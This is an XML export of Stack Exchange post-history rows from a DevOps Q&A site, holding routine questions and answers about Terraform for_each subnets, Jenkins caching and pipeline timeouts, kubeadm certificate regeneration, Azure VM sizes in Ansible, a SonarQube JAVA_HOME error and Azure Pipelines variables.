  <row Id="28910" PostHistoryTypeId="2" PostId="9665" RevisionGUID="9d9ee0c8-5106-42c6-a5a4-fd871d80dd4d" CreationDate="2019-11-03T20:40:50.263" UserId="11221" Text="I am trying to create an ec2 instance that will hold my Jenkins server. I want this to be in a private subnet which I created using a for each loop. Below is my subnet for each loop and my ec2 instance resource. I have also included the error message. Idea is I want it in the first private subnet.&#xD;&#xA;&#xD;&#xA;ec2 instance&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_instance&quot; &quot;jenkins&quot; {&#xD;&#xA;  ami           = &quot;${var.ubuntuAMI}&quot;&#xD;&#xA;  instance_type = &quot;t3.micro&quot;&#xD;&#xA;  availability_zone = &quot;us-east-1a&quot;&#xD;&#xA;  key_name = &quot;me&quot;&#xD;&#xA;  monitoring = true&#xD;&#xA;  vpc_security_group_ids = [aws_security_group.ssh_access.id]&#xD;&#xA;  disable_api_termination = true&#xD;&#xA;  subnet_id = &quot;${aws_subnet.private[each.key]}&quot;&#xD;&#xA;&#xD;&#xA;  tags = {&#xD;&#xA;    Name = &quot;Jenkins&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;subnet resource&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_subnet&quot; &quot;private&quot; {&#xD;&#xA;  for_each = var.subnet_numbers_private&#xD;&#xA;&#xD;&#xA;  vpc_id            = aws_vpc.Main_VPC.id&#xD;&#xA;  availability_zone = each.key&#xD;&#xA;  cidr_block        = cidrsubnet(aws_vpc.Main_VPC.cidr_block, 8, each.value)&#xD;&#xA;  tags = {&#xD;&#xA;      Name = &quot;Private-${each.key}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;variable used by the subnet loop&#xD;&#xA;```&#xD;&#xA;variable &quot;subnet_numbers_private&quot; {&#xD;&#xA;  description = &quot;Map for private subnets&quot;&#xD;&#xA;  default     = {&#xD;&#xA;    &quot;us-east-1a&quot; = 1&#xD;&#xA;    &quot;us-east-1b&quot; = 2&#xD;&#xA;    &quot;us-east-1c&quot; = 3&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;error message seen when doing a `terraform plan`&#xD;&#xA;```&#xD;&#xA;The &quot;each&quot; object can be used only in &quot;resource&quot; blocks, and only when the&#xD;&#xA;&quot;for_each&quot; argument is set.&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="28911" PostHistoryTypeId="1" PostId="9665" RevisionGUID="9d9ee0c8-5106-42c6-a5a4-fd871d80dd4d" CreationDate="2019-11-03T20:40:50.263" UserId="11221" Text="How to specify specific subnet in Terraform when using for each" ContentLicense="CC BY-SA 4.0" />
  <row Id="28912" PostHistoryTypeId="3" PostId="9665" RevisionGUID="9d9ee0c8-5106-42c6-a5a4-fd871d80dd4d" CreationDate="2019-11-03T20:40:50.263" UserId="11221" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28913" PostHistoryTypeId="2" PostId="9666" RevisionGUID="a5e73b03-43fa-4846-81f8-5539a2b125a9" CreationDate="2019-11-03T23:46:28.420" UserId="11129" Text="Although _our own_ sources are checked out from a revision-control systems, the third-party software we depend on needs to be downloaded from their respective sites.&#xD;&#xA;&#xD;&#xA;The plugin I'm looking for would offer a &quot;Source Management&quot; (or &quot;Pre-Build&quot;) step, where I could register one (or more) sources for the same file -- such as, for example:&#xD;&#xA;&#xD;&#xA; - https://www.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA; - http://www2.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA; - http://www3.sqlite.org/2019/sqlite-autoconf-3290000.tar.gz&#xD;&#xA;&#xD;&#xA;and its digest (such as SHA256).&#xD;&#xA;&#xD;&#xA;At build- (or at a prebuild-) time, it would check its cache and, if the file is not present there -- download and verify it, and make it available to the subsequent build-steps.&#xD;&#xA;&#xD;&#xA;I'm sure, such a thing -- or something very similar -- exists already -- but I cannot find it... Sonatype's Nexus seems to offer this, but only for files already found in one's Nexus repository -- not arbitrary URLs...&#xD;&#xA;&#xD;&#xA;Could you help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28914" PostHistoryTypeId="1" PostId="9666" RevisionGUID="a5e73b03-43fa-4846-81f8-5539a2b125a9" CreationDate="2019-11-03T23:46:28.420" UserId="11129" Text="Is there a Jenkins plugin for dowloading source code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28915" PostHistoryTypeId="3" PostId="9666" RevisionGUID="a5e73b03-43fa-4846-81f8-5539a2b125a9" CreationDate="2019-11-03T23:46:28.420" UserId="11129" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28917" PostHistoryTypeId="5" PostId="9506" RevisionGUID="0f5a2f8f-569a-4f52-9918-1a835ce2a23e" CreationDate="2019-11-04T02:41:42.347" UserId="13139" Comment="Update deprecated command" Text="To do this, you’ll first need your `kubeadm` configuration file. This creates a file named `kubeadm.yaml`:&#xD;&#xA;&#xD;&#xA;`kubectl -n kube-system get configmap kubeadm-config -o jsonpath='{.data.ClusterConfiguration}' &gt; kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;Now open the file in an editor, and find the `certSANs` list under the `apiServer` section. If it does not exist, you’ll need to add it; if so, you’ll just add another entry to that list. Example:&#xD;&#xA;&#xD;&#xA;    apiServer:&#xD;&#xA;      certSANs:&#xD;&#xA;      - &quot;172.29.50.162&quot;&#xD;&#xA;      - &quot;k8s.domain.com&quot;&#xD;&#xA;      - &quot;other-k8s.domain.net&quot;&#xD;&#xA;      extraArgs:&#xD;&#xA;        authorization-mode: Node,RBAC&#xD;&#xA;      timeoutForControlPlane: 4m0s&#xD;&#xA;&#xD;&#xA;Now move the old certificates to another folder, otherwise `kubeadm` will not recreate new ones:&#xD;&#xA;&#xD;&#xA;`mv /etc/kubernetes/pki/apiserver.{crt,key} ~` &#xD;&#xA;&#xD;&#xA;Use `kubeadm` to generate new apiserver certificates:&#xD;&#xA;&#xD;&#xA;`kubeadm init phase certs apiserver --config kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;Now restart your _kubeapiserver_ container:&#xD;&#xA;&#xD;&#xA; 1. Run `docker ps | grep kube-apiserver | grep -v pause` to get the&#xD;&#xA;    container ID for the container running the Kubernetes API server&#xD;&#xA; 2.  Run `docker kill &lt;containerID&gt;` to kill the container.&#xD;&#xA; 3. *The Kubelet will automatically restart the container, which will pick up the new certificate.*&#xD;&#xA;&#xD;&#xA;If everything is working as expected, don't forget to update the `kubeadm` ConfigMap stored in the cluster, otherwise, future `kubeadm` upgrade will be lacking your new config:&#xD;&#xA;&#xD;&#xA;If using Kubernetes &lt; v1.15:&#xD;&#xA;&#xD;&#xA;`kubeadm config upload from-file --config kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;For Kubernetes version &gt;= [v1.15][1]:&#xD;&#xA;&#xD;&#xA;`kubeadm init phase upload-config kubeadm --config kubeadm.yaml`&#xD;&#xA;&#xD;&#xA;*This article has a more complete guide on how to [Adding a Name to the Kubernetes API Server Certificate][2]*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG-1.15.md#deprecations-and-removals&#xD;&#xA;  [2]: https://blog.scottlowe.org/2019/07/30/adding-a-name-to-kubernetes-api-server-certificate/" ContentLicense="CC BY-SA 4.0" />
  <row Id="28918" PostHistoryTypeId="2" PostId="9667" RevisionGUID="86e7ee25-60f1-4190-bcd8-c5ddb37c5fd6" CreationDate="2019-11-04T04:31:46.797" UserId="11780" Text="We will be serving static javascript ES modules and looking for an all-in-one hosting platform that is easy to use. &#xD;&#xA;&#xD;&#xA;- It must provide CORS headers (ES modules enable CORS by default)&#xD;&#xA;- HTTP/2 support is mandatory&#xD;&#xA;- Ability to set very long caching headers (content never changes)&#xD;&#xA;- Mirrored all across the world for fast transfers with low latency.&#xD;&#xA;- Pushing a new version should be a simple oneliner.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28919" PostHistoryTypeId="1" PostId="9667" RevisionGUID="86e7ee25-60f1-4190-bcd8-c5ddb37c5fd6" CreationDate="2019-11-04T04:31:46.797" UserId="11780" Text="Service for hosting native JavaScript ES modules" ContentLicense="CC BY-SA 4.0" />
  <row Id="28920" PostHistoryTypeId="3" PostId="9667" RevisionGUID="86e7ee25-60f1-4190-bcd8-c5ddb37c5fd6" CreationDate="2019-11-04T04:31:46.797" UserId="11780" Text="&lt;http&gt;&lt;cdn&gt;&lt;cors&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28921" PostHistoryTypeId="2" PostId="9668" RevisionGUID="8d7346ba-49ec-4da4-a82e-ca26c9429fd8" CreationDate="2019-11-04T06:46:31.560" UserId="354" Text="Perhaps you are looking for the [Job Cacher](https://plugins.jenkins.io/jobcacher) plugin?&#xD;&#xA;&#xD;&#xA;To quote the plugin page:&#xD;&#xA;&gt; **Summary**&#xD;&#xA;&#xD;&#xA;&gt; Enables caching of files on transient executors for use on subsequent builds to improve performance&#xD;&#xA;&#xD;&#xA;&gt; **Features**&#xD;&#xA;&#xD;&#xA;&gt; - Item storage extension point supporting on master storage and AWS S3&#xD;&#xA;&gt; - Cache Wrapper for free style jobs that manages the cache&#xD;&#xA;    Arbitrary File Cache where user specifies paths to be cached&#xD;&#xA;&gt; - UI on Job page to review the job's caches&#xD;&#xA;&gt; - Supports Pipeline jobs with a cache directive&#xD;&#xA;&gt; - Cache Extension Point for other plugins to provide opinionated caching capability such as Gradle caches&#xD;&#xA;&gt; - Incremental storing of cache into storage to minimize data movement&#xD;&#xA;&#xD;&#xA;However, these are for files **created** by the jobs, not **needed** by them. In order to use it in your case, you might need a few dummy jobs specifically for downloading the content from the arbitrary URLs, and then caching them in your Jenkins cache. I guess you'd have to write the script for that.&#xD;&#xA;&#xD;&#xA;To be frank, I've never used this plugin, and what I describe above doesn't seem to be an elegant solution. Your question specifically ask for a Jenkins plugin, however I believe the _general_ problem is **how to cache job dependencies** in Jenkins. If you agree to this wider interpretation, there are some other options. &#xD;&#xA;&#xD;&#xA;I have often solved the problem you mention using a combination of managed scripts and persistent storage which Jenkins and workers have access to, in Jenkins.  If you need really _arbitrary_ dependency management, a tool like [Spack](https://spack.readthedocs.io) or [EasyBuild](https://easybuild.readthedocs.io/en/latest/) may be useful. Although these have evolved in the HPC domain, they do quite well at caching dependencies for workloads.&#xD;&#xA;&#xD;&#xA;However, since you mention just a few dependencies (specific sqlite versions _e.g._), I think it may be worth your time to write a script which does the caching for you and, together with globally-available persistent storage, do the caching and retrieval that way." ContentLicense="CC BY-SA 4.0" />
  <row Id="28922" PostHistoryTypeId="50" PostId="6760" RevisionGUID="45d53aa3-5215-4078-bd1b-63a592c515da" CreationDate="2019-11-04T08:00:37.640" UserId="-1" />
  <row Id="28923" PostHistoryTypeId="2" PostId="9669" RevisionGUID="7c1ab3cf-4772-4518-b601-103c09e27190" CreationDate="2019-11-04T08:25:54.690" UserId="17983" Text="I am trying to create a VM with a cookbook like this:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;  tasks&#xD;&#xA;&#xD;&#xA;  ...&#xD;&#xA;&#xD;&#xA;  - name: Create VM&#xD;&#xA;    azure_rm_virtualmachine:&#xD;&#xA;      resource_group: AnsibleResourcEGroup&#xD;&#xA;      name: AnsibleVM&#xD;&#xA;      vm_size: Standard_D4s_v3&#xD;&#xA;&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run the cookbook, this &quot;Create VM&quot; task fails:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; fatal: [localhost]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;Error creating or updating virtual machine AnsibleVM - Azure Error: SkuNotAvailable\nMessage: The requested size for resource '/subscriptions/some-subscription-id/resourceGroups/some-resource-group-name/providers/Microsoft.Compute/virtualMachines/AnsibleVM' is currently not available in location 'region-name' zones '' for subscription 'some-subscription-id'. Please try another size or deploy to a different location or zones. See https://aka.ms/azureskunotavailable for details.&quot;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, when I use `az` cli to enquery for the available vm size, the size `Standard_D4s_v3` seems available:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ az vm list-skus --location region-id --size Standard_D --output table&#xD;&#xA;&#xD;&#xA;ResourceType     Locations    Name                Zones    Capabilities                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Restrictions&#xD;&#xA;---------------  -----------  ------------------  -------  --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  --------------&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;virtualMachines  region-id    Standard_D2s_v3     1,2,3    ['MaxResourceVolumeMB=16384', 'OSVhdSizeMB=1047552', 'vCPUs=2', 'HyperVGenerations=V1,V2', 'MemoryGB=8', 'MaxDataDiskCount=4', 'LowPriorityCapable=True', 'PremiumIO=True', 'vCPUsAvailable=2', 'ACUs=160', 'vCPUsPerCore=2', 'CombinedTempDiskAndCachedIOPS=4000', 'CombinedTempDiskAndCachedReadBytesPerSecond=33554432', 'CombinedTempDiskAndCachedWriteBytesPerSecond=33554432', 'CachedDiskBytes=53687091200', 'UncachedDiskIOPS=3200', 'UncachedDiskBytesPerSecond=50331648', 'EphemeralOSDiskSupported=True', 'AcceleratedNetworkingEnabled=False', 'RdmaEnabled=False', 'MaxNetworkInterfaces=2']                                           None&#xD;&#xA;virtualMachines  region-id    Standard_D4s_v3     1,2,3    ['MaxResourceVolumeMB=32768', 'OSVhdSizeMB=1047552', 'vCPUs=4', 'HyperVGenerations=V1,V2', 'MemoryGB=16', 'MaxDataDiskCount=8', 'LowPriorityCapable=True', 'PremiumIO=True', 'vCPUsAvailable=4', 'ACUs=160', 'vCPUsPerCore=2', 'CombinedTempDiskAndCachedIOPS=8000', 'CombinedTempDiskAndCachedReadBytesPerSecond=67108864', 'CombinedTempDiskAndCachedWriteBytesPerSecond=67108864', 'CachedDiskBytes=107374182400', 'UncachedDiskIOPS=6400', 'UncachedDiskBytesPerSecond=100663296', 'EphemeralOSDiskSupported=True', 'AcceleratedNetworkingEnabled=True', 'RdmaEnabled=False', 'MaxNetworkInterfaces=2']                                         None&#xD;&#xA;virtualMachines  region-id    Standard_D8s_v3     1,2,3    ['MaxResourceVolumeMB=65536', 'OSVhdSizeMB=1047552', 'vCPUs=8', 'HyperVGenerations=V1,V2', 'MemoryGB=32', 'MaxDataDiskCount=16', 'LowPriorityCapable=True', 'PremiumIO=True', 'vCPUsAvailable=8', 'ACUs=160', 'vCPUsPerCore=2', 'CombinedTempDiskAndCachedIOPS=16000', 'CombinedTempDiskAndCachedReadBytesPerSecond=134217728', 'CombinedTempDiskAndCachedWriteBytesPerSecond=134217728', 'CachedDiskBytes=214748364800', 'UncachedDiskIOPS=12800', 'UncachedDiskBytesPerSecond=201326592', 'EphemeralOSDiskSupported=True', 'AcceleratedNetworkingEnabled=True', 'RdmaEnabled=False', 'MaxNetworkInterfaces=4']                                    None&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;which does not seems right.&#xD;&#xA;&#xD;&#xA;So which part of my understanding wrong? How should I make sure that a VM size is available in my region?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28924" PostHistoryTypeId="1" PostId="9669" RevisionGUID="7c1ab3cf-4772-4518-b601-103c09e27190" CreationDate="2019-11-04T08:25:54.690" UserId="17983" Text="How to make sure the specified Azure vm size available?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28925" PostHistoryTypeId="3" PostId="9669" RevisionGUID="7c1ab3cf-4772-4518-b601-103c09e27190" CreationDate="2019-11-04T08:25:54.690" UserId="17983" Text="&lt;ansible&gt;&lt;azure&gt;&lt;vm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28926" PostHistoryTypeId="5" PostId="9669" RevisionGUID="676b9530-b460-430d-a7d6-10ea143b125e" CreationDate="2019-11-04T08:57:08.417" UserId="354" Comment="Fix formatting" Text="I am trying to create a VM with a playbook like this:&#xD;&#xA;&#xD;&#xA;```yml&#xD;&#xA;  tasks:&#xD;&#xA;&#xD;&#xA;  ...&#xD;&#xA;&#xD;&#xA;  - name: Create VM&#xD;&#xA;    azure_rm_virtualmachine:&#xD;&#xA;      resource_group: AnsibleResourcEGroup&#xD;&#xA;      name: AnsibleVM&#xD;&#xA;      vm_size: Standard_D4s_v3&#xD;&#xA;&#xD;&#xA;      ...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run the playbook, this &quot;Create VM&quot; task fails:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;fatal: [localhost]: FAILED! =&gt; {&#xD;&#xA;  &quot;changed&quot;: false, &#xD;&#xA;  &quot;msg&quot;: &quot;Error creating or updating virtual machine AnsibleVM - Azure Error: SkuNotAvailable\nMessage: The requested size for resource '/subscriptions/some-subscription-id/resourceGroups/some-resource-group-name/providers/Microsoft.Compute/virtualMachines/AnsibleVM' is currently not available in location 'region-name' zones '' for subscription 'some-subscription-id'. Please try another size or deploy to a different location or zones. See https://aka.ms/azureskunotavailable for details.&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However, when I use `az` cli to enquery for the available vm size, the size `Standard_D4s_v3` seems available:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ az vm list-skus --location region-id --size Standard_D --output table&#xD;&#xA;&#xD;&#xA;ResourceType     Locations    Name                Zones    Capabilities                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Restrictions&#xD;&#xA;---------------  -----------  ------------------  -------  --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  --------------&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;virtualMachines  region-id    Standard_D2s_v3     1,2,3    ['MaxResourceVolumeMB=16384', 'OSVhdSizeMB=1047552', 'vCPUs=2', 'HyperVGenerations=V1,V2', 'MemoryGB=8', 'MaxDataDiskCount=4', 'LowPriorityCapable=True', 'PremiumIO=True', 'vCPUsAvailable=2', 'ACUs=160', 'vCPUsPerCore=2', 'CombinedTempDiskAndCachedIOPS=4000', 'CombinedTempDiskAndCachedReadBytesPerSecond=33554432', 'CombinedTempDiskAndCachedWriteBytesPerSecond=33554432', 'CachedDiskBytes=53687091200', 'UncachedDiskIOPS=3200', 'UncachedDiskBytesPerSecond=50331648', 'EphemeralOSDiskSupported=True', 'AcceleratedNetworkingEnabled=False', 'RdmaEnabled=False', 'MaxNetworkInterfaces=2']                                           None&#xD;&#xA;virtualMachines  region-id    Standard_D4s_v3     1,2,3    ['MaxResourceVolumeMB=32768', 'OSVhdSizeMB=1047552', 'vCPUs=4', 'HyperVGenerations=V1,V2', 'MemoryGB=16', 'MaxDataDiskCount=8', 'LowPriorityCapable=True', 'PremiumIO=True', 'vCPUsAvailable=4', 'ACUs=160', 'vCPUsPerCore=2', 'CombinedTempDiskAndCachedIOPS=8000', 'CombinedTempDiskAndCachedReadBytesPerSecond=67108864', 'CombinedTempDiskAndCachedWriteBytesPerSecond=67108864', 'CachedDiskBytes=107374182400', 'UncachedDiskIOPS=6400', 'UncachedDiskBytesPerSecond=100663296', 'EphemeralOSDiskSupported=True', 'AcceleratedNetworkingEnabled=True', 'RdmaEnabled=False', 'MaxNetworkInterfaces=2']                                         None&#xD;&#xA;virtualMachines  region-id    Standard_D8s_v3     1,2,3    ['MaxResourceVolumeMB=65536', 'OSVhdSizeMB=1047552', 'vCPUs=8', 'HyperVGenerations=V1,V2', 'MemoryGB=32', 'MaxDataDiskCount=16', 'LowPriorityCapable=True', 'PremiumIO=True', 'vCPUsAvailable=8', 'ACUs=160', 'vCPUsPerCore=2', 'CombinedTempDiskAndCachedIOPS=16000', 'CombinedTempDiskAndCachedReadBytesPerSecond=134217728', 'CombinedTempDiskAndCachedWriteBytesPerSecond=134217728', 'CachedDiskBytes=214748364800', 'UncachedDiskIOPS=12800', 'UncachedDiskBytesPerSecond=201326592', 'EphemeralOSDiskSupported=True', 'AcceleratedNetworkingEnabled=True', 'RdmaEnabled=False', 'MaxNetworkInterfaces=4']                                    None&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;which does not seems right.&#xD;&#xA;&#xD;&#xA;So which part of my understanding wrong? How should I make sure that a VM size is available in my region?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28930" PostHistoryTypeId="50" PostId="5880" RevisionGUID="b276c749-ccdf-47e7-9989-2095c88487d2" CreationDate="2019-11-04T10:01:20.217" UserId="-1" />
  <row Id="28932" PostHistoryTypeId="2" PostId="9672" RevisionGUID="30c367c3-1ae5-4143-9195-633d92a55e03" CreationDate="2019-11-04T10:27:24.567" UserId="17622" Text="I have set up a sonar scanner MSBuild in Jenkins, but suddenly I'm getting below error.&#xD;&#xA;&#xD;&#xA;````&#xD;&#xA;ERROR: JAVA_HOME exists but does not point to a valid Java home&#xD;&#xA;       folder. No &quot;\bin\java.exe&quot; file can be found there.&#xD;&#xA;````&#xD;&#xA;Below is Environment variable for Java Jdk&#xD;&#xA;```&#xD;&#xA;JAVA_HOME=C:\Program Files\Java\jdk-12.0.2&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How to solve this Issue?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28933" PostHistoryTypeId="1" PostId="9672" RevisionGUID="30c367c3-1ae5-4143-9195-633d92a55e03" CreationDate="2019-11-04T10:27:24.567" UserId="17622" Text="JAVA_HOME error in Sonar Scanner for MSBuild" ContentLicense="CC BY-SA 4.0" />
  <row Id="28934" PostHistoryTypeId="3" PostId="9672" RevisionGUID="30c367c3-1ae5-4143-9195-633d92a55e03" CreationDate="2019-11-04T10:27:24.567" UserId="17622" Text="&lt;jenkins&gt;&lt;sonarqube&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28936" PostHistoryTypeId="5" PostId="9646" RevisionGUID="20e954e6-91eb-437e-a57e-2b7aa699b65c" CreationDate="2019-11-04T12:20:23.543" UserId="17957" Comment="Docker hub is not empty. Please check" Text="I have created a repo on my docker hub account. While trying to download it it shows errors. I have tried the following commands:&#xD;&#xA;&#xD;&#xA;- `docker id saurabhgore65`&#xD;&#xA;- `docker pull &lt;saurabhgore65&gt;/subash`&#xD;&#xA;- `docker pull &lt;saurabhgore65&gt;/subash:latest`&#xD;&#xA;- `docker pull &lt;saurabhgore65&gt;/subash:sagoreimage`&#xD;&#xA;&#xD;&#xA;As you told there is nothing in the docker hub repository. What are subash and sagore a" ContentLicense="CC BY-SA 4.0" />
  <row Id="28943" PostHistoryTypeId="50" PostId="6916" RevisionGUID="715087d4-8986-4bc3-813f-e57183b0fe87" CreationDate="2019-11-04T13:02:40.417" UserId="-1" />
  <row Id="28944" PostHistoryTypeId="2" PostId="9675" RevisionGUID="8328f934-e0ef-45ea-900d-506a5c69f070" CreationDate="2019-11-04T13:15:28.480" UserId="17829" Text="As suggested by @030, I have prepared two screenshots that show how to connect the .yml files with the build pipeline. &#xD;&#xA;&#xD;&#xA; 1. Rename the .xml file in the repository&#xD;&#xA;&#xD;&#xA; 2. Open the pipeline editor&#xD;&#xA;[![Pipeline editor][1]][1]&#xD;&#xA;&#xD;&#xA; 3. Select the file from the dropdown&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA; 4. Thats it...&#xD;&#xA;&#xD;&#xA;After the existing .yml is assigned, the pipeline works as before the renaming.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/KJX7y.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/4iStF.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="28945" PostHistoryTypeId="2" PostId="9676" RevisionGUID="760dc2e2-a123-4d3b-93c6-8f35c777b25f" CreationDate="2019-11-04T13:18:20.533" UserId="1202" Text="Check if there is a file at C:\Program Files\Java\jdk-12.0.2\bin\java.exe.&#xD;&#xA;&#xD;&#xA;If yes then I'd wager there is quoting issue in the SonarQube or the MSBuild task that does not like the space in the path.  &#xD;&#xA;Install your java in a path without a space that will likely help&#xD;&#xA;&#xD;&#xA;If No, well...  you just found your problem !" ContentLicense="CC BY-SA 4.0" />
  <row Id="28946" PostHistoryTypeId="2" PostId="9677" RevisionGUID="c9955fd4-d6b5-48dc-9874-9abca56e706b" CreationDate="2019-11-04T14:15:49.827" UserId="397" Text="There are a couple of possibilities based upon my experience:&#xD;&#xA;&#xD;&#xA; 1. You may not have specified `region-id` in Ansible, which means it will default to the region of the Resource Group.  Thus you may have a Resource Group in a region that does in-fact not support `Standard_D4s_v3`.&#xD;&#xA;&#xD;&#xA; 2. From time to time specific instance types are unavailable in a region due to resource constraints from Azure, this is usually a temporary state, so trying again in a few hours will work.&#xD;&#xA;&#xD;&#xA; 3. [limits or quotas on your subscription][1] might be preventing you from creating the Virtual Machine, although I would expect that you would get a different, more descriptive error message if this were the case.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/azure-subscription-service-limits" ContentLicense="CC BY-SA 4.0" />
  <row Id="28950" PostHistoryTypeId="2" PostId="9679" RevisionGUID="534d19a1-051c-4523-872f-b2c79419842d" CreationDate="2019-11-04T15:27:27.313" UserId="17989" Text="I have a stage in my Jenkins pipeline that looks like:&#xD;&#xA;&#xD;&#xA;    stage('Step Tests') {&#xD;&#xA;      steps {&#xD;&#xA;        dir('test') {&#xD;&#xA;          catchError(catchInterruptions: true, buildResult: 'FAILURE') {&#xD;&#xA;            timeout(time: 5, unit: 'MINUTES', activity: true) {&#xD;&#xA;              sh &quot;yarn step-tests&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The timeout activates if my tests don't output anything to the console for 5 minutes, and subsequent stages still execute, which is what I want. However, the build is still marked as aborted instead of failed, which I thought the `buildResult` parameter was for.&#xD;&#xA;&#xD;&#xA;How do I catch a timeout and mark the build as unstable or failed, instead of aborted?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28951" PostHistoryTypeId="1" PostId="9679" RevisionGUID="534d19a1-051c-4523-872f-b2c79419842d" CreationDate="2019-11-04T15:27:27.313" UserId="17989" Text="How to mark a step as failed or unstable on timeout, instead of aborting build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28952" PostHistoryTypeId="3" PostId="9679" RevisionGUID="534d19a1-051c-4523-872f-b2c79419842d" CreationDate="2019-11-04T15:27:27.313" UserId="17989" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="28953" PostHistoryTypeId="12" PostId="9679" RevisionGUID="928df9da-32b4-4fc3-8852-ceb342ebe741" CreationDate="2019-11-04T15:27:41.117" UserId="17989" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:17989,&quot;DisplayName&quot;:&quot;c32hedge&quot;}]}" />
  <row Id="28954" PostHistoryTypeId="13" PostId="9679" RevisionGUID="75476323-cc62-4527-b94b-f14863f10b0d" CreationDate="2019-11-04T15:28:03.983" UserId="17989" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:17989,&quot;DisplayName&quot;:&quot;c32hedge&quot;}]}" />
  <row Id="28955" PostHistoryTypeId="2" PostId="9680" RevisionGUID="45fb54f3-d4b8-49c8-a93c-47ccd52a328c" CreationDate="2019-11-04T15:33:51.287" UserId="17990" Text="I have a multi-configuration web application I'm using parallel deployments, leveraging Task Groups for reusing my deployment code.&#xD;&#xA;&#xD;&#xA;I've been using Powershell tasks and the ##vso[task.setvariable variable] but those only are readable by other tasks (particularly non-powershell tasks) if they correspond to top-level variables at the Build/Release level.  Variables that are only local to the task-group.&#xD;&#xA;&#xD;&#xA;Basically, the behavior described here:&#xD;&#xA;&#xD;&#xA;https://github.com/Microsoft/azure-pipelines-tasks/issues/3116&#xD;&#xA;&#xD;&#xA;Does anybody have a better workaround for this issue besides binding all your variables right to the root with identical names?" ContentLicense="CC BY-SA 4.0" />
  <row Id="28956" PostHistoryTypeId="1" PostId="9680" RevisionGUID="45fb54f3-d4b8-49c8-a93c-47ccd52a328c" CreationDate="2019-11-04T15:33:51.287" UserId="17990" Text="How to pass variables between build/deploy tasks in a TaskGroup in VSTS 16.131.28601.4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28957" PostHistoryTypeId="3" PostId="9680" RevisionGUID="45fb54f3-d4b8-49c8-a93c-47ccd52a328c" CreationDate="2019-11-04T15:33:51.287" UserId="17990" Text="&lt;azure-pipelines&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 4.0" />
